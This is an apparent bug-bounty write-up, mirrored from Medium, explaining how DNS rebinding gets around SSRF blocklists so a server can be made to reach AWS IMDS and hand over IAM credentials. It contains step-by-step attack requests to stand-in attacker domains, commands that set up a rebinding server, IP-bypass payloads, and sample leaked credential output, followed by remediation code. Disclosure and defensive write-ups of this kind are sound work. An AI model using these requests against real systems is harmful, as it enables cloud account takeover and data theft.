How DNS Rebinding Turns SSRF Into a Cloud Takeover

medium.com · Muhammad Zeeshan · 15 days ago · research
quality 9/10 · excellent
0 net
How DNS Rebinding Turns SSRF Into a Cloud Takeover | by Muhammad Zeeshan - Freedium Milestone: 20GB Reached We’ve reached 20GB of stored data — thank you for helping us grow! Patreon Ko-fi Liberapay Close < Go to the original How DNS Rebinding Turns SSRF Into a Cloud Takeover This writeup covers a critical attack chain combining Server-Side Request Forgery (SSRF) with a DNS Rebinding technique to bypass IP… Muhammad Zeeshan Follow ~5 min read · March 29, 2026 (Updated: March 29, 2026) · Free: Yes This writeup covers a critical attack chain combining Server-Side Request Forgery (SSRF) with a DNS Rebinding technique to bypass IP allowlist protections and reach the AWS EC2 Instance Metadata Service (IMDS) at 169.254.169.254 . When successfully exploited, this chain results in the extraction of live IAM credentials with broad permissions across a target's cloud infrastructure. This vulnerability class is one of the most impactful chains in modern cloud environments and remains underreported despite being well-understood in theory. What is SSRF? Server-Side Request Forgery (SSRF) is a vulnerability where an attacker causes a server-side application to make HTTP requests to an arbitrary domain or IP including internal services not accessible from the internet. Common SSRF entry points include URL preview and link unfurling features, PDF or screenshot generators, webhook endpoints, image upload by URL, and XML parsers with external entity loading (XXE → SSRF). What is DNS Rebinding? DNS Rebinding is a technique that abuses the DNS resolution lifecycle to bypass IP-based access controls. Most SSRF mitigations block IP addresses found in user input, not domain names. The problem is that validation happens at allowlist-check time, while the actual network request happens after the TTL has already expired a classic Time-of-Check Time-of-Use (TOCTOU) race condition. The attack works in four stages. A malicious domain is registered with a very short TTL (1 second). On the first DNS query, the domain resolves to a legitimate public IP validation passes. Before the actual HTTP request is made, the TTL expires and the DNS record is switched to an internal IP like 169.254.169.254 . The server re-resolves the domain and makes the request to the internal target. Attack Chain [1] Malicious URL submitted to target's fetch endpoint │ ▼ [2] Server resolves domain → 45.55.12.34 (public VPS) IP allowlist check → PASS ✓ │ │ ← TTL expires (1 second) → │ ← DNS record flipped to 169.254.169.254 → │ ▼ [3] Server re-resolves domain → 169.254.169.254 Actual HTTP request → hits AWS IMDS │ ▼ [4] IMDS returns IAM role name │ ▼ [5] Follow-up request fetches credentials for that role │ ▼ [6] AccessKeyId + SecretAccessKey + Token → exfiltrated Vulnerable Endpoint The target was an API endpoint that accepted a URL, fetched its content server-side, and returned a rendered preview: https://dashboard.target.com/api/v2/preview?url= Endpoints like this are classic SSRF candidates. Confirming the server makes outbound requests can be done with an out-of-band tool like Burp Collaborator or interactsh: GET /api/v2/preview?url=https://attacker.oast.pro/ HTTP/1.1 Host: dashboard.target.com Authorization: Bearer eyJhbGci... A DNS lookup on the OOB server confirms server-side fetching is occurring. Blocklist Bypass Supplying an internal IP directly is blocked by most hardened endpoints: GET /api/v2/preview?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1 { "error": "URL validation failed: Private or reserved IP addresses are not allowed." } Common IP bypass techniques are also typically caught at this stage http://0177.0.0.1 , http://[::ffff:169.254.169.254] , http://169.254.169.254.nip.io and similar representations are blocked by well-implemented filters. This is where DNS rebinding becomes necessary. DNS Rebinding Setup A rebinding server can be configured using Singularity of Origin , set to return the attacker's public VPS IP on first resolution, then rebind to 169.254.169.254 after the TTL expires: git clone https://github.com/nccgroup/singularity cd singularity/cmd/singularity-server go build ./singularity-server \ --DNSRebindStrategy rebasetimeout \ --RebindIPAddress 169.254.169.254 \ --port 8080 The attacker domain's NS record points to this server with a TTL of 1 second. The domain initially resolves to the public VPS (e.g. 45.55.12.34 ), then after one second rebinds to 169.254.169.254 . Exploitation Step 1 Submit the rebinding domain: GET /api/v2/preview?url=http://rebind.attacker.com/latest/meta-data/iam/security-credentials/ HTTP/1.1 Host: dashboard.target.com Authorization: Bearer eyJhbGci... The server resolves rebind.attacker.com → 45.55.12.34 . Validation passes. Step 2 — TTL expires, DNS rebinds: Within ~1 second the TTL expires. The server re-resolves rebind.attacker.com → 169.254.169.254 and makes the actual HTTP request to the AWS IMDS. Step 3 — IMDS responds with the IAM role name: { "preview": { "statusCode": 200, "body": "arn:aws:iam::123456789012:role/prod-app-role\n" } } Step 4 Fetch credentials for that role: GET /api/v2/preview?url=http://rebind.attacker.com/latest/meta-data/iam/security-credentials/prod-app-role HTTP/1.1 { "preview": { "body": "{\n \"Code\" : \"Success\",\n \"Type\" : \"AWS-HMAC\",\n \"AccessKeyId\" : \"ASIA4EXAMPLE...\",\n \"SecretAccessKey\" : \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n \"Token\" : \"IQoJb3JpZ2luX2VjENf...\",\n \"Expiration\" : \"2024-11-03T14:31:11Z\"\n}" } } Impact With extracted IAM credentials an attacker can enumerate and exfiltrate S3 buckets containing customer PII, backups, or source code. If the role carries sts:AssumeRole permissions, pivoting to higher-privileged roles becomes trivial. Access to RDS, Secrets Manager, and SSM Parameter Store exposes database passwords and API keys. A role with s3:GetObject , s3:ListBucket , secretsmanager:GetSecretValue , and ec2:DescribeInstances provides full internal reconnaissance capability across the AWS environment. The temporary credentials remain valid for ~6 hours and rotate automatically, meaning continuous re-exploitation is possible until the underlying vulnerability is patched. Remediation Re-validate the IP after DNS resolution (TOCTOU fix) The hostname must be resolved to an IP and that IP must be validated immediately before the outbound request is made — not at submission time: import socket import ipaddress BLOCKED_RANGES = [ ipaddress.ip_network("169.254.0.0/16"), ipaddress.ip_network("10.0.0.0/8"), ipaddress.ip_network("172.16.0.0/12"), ipaddress.ip_network("192.168.0.0/16"), ipaddress.ip_network("127.0.0.0/8"), ] def is_safe_url(url: str) -> bool: hostname = extract_hostname(url) try: resolved_ip = ipaddress.ip_address(socket.gethostbyname(hostname)) for blocked in BLOCKED_RANGES: if resolved_ip in blocked: return False return True except Exception: return False Pin the resolved IP for the actual HTTP request The resolved IP should be passed directly in the outbound request rather than re-resolving the domain. This closes the rebind window entirely — the domain can no longer switch targets between validation and fetch time. Enable IMDSv2 on all EC2 instances IMDSv2 requires a PUT request to obtain a session token before any metadata can be fetched. A GET-based SSRF fetcher cannot replicate this, so even if IMDS is reached, credentials cannot be retrieved: aws ec2 modify-instance-metadata-options \ --instance-id i-xxxxxxxxxxxxxxxxx \ --http-tokens required \ --http-endpoint enabled Key Takeaways SSRF blocklists that validate input at submission time are bypassable through DNS Rebinding because they do not account for the gap between validation and the actual outbound request. Endpoints that perform server-side URL fetching should always re-validate the resolved IP immediately before use, pin that IP for the connection, and never rely on hostname-level checks alone. In cloud environments, IMDSv2 should be treated as a mandatory baseline control on every EC2 instance regardless of other network-level mitigations. #bug-bounty Reporting a Problem Sometimes we have problems displaying some Medium posts. If you have a problem that some images aren't loading - try using VPN. Probably you have problem with access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).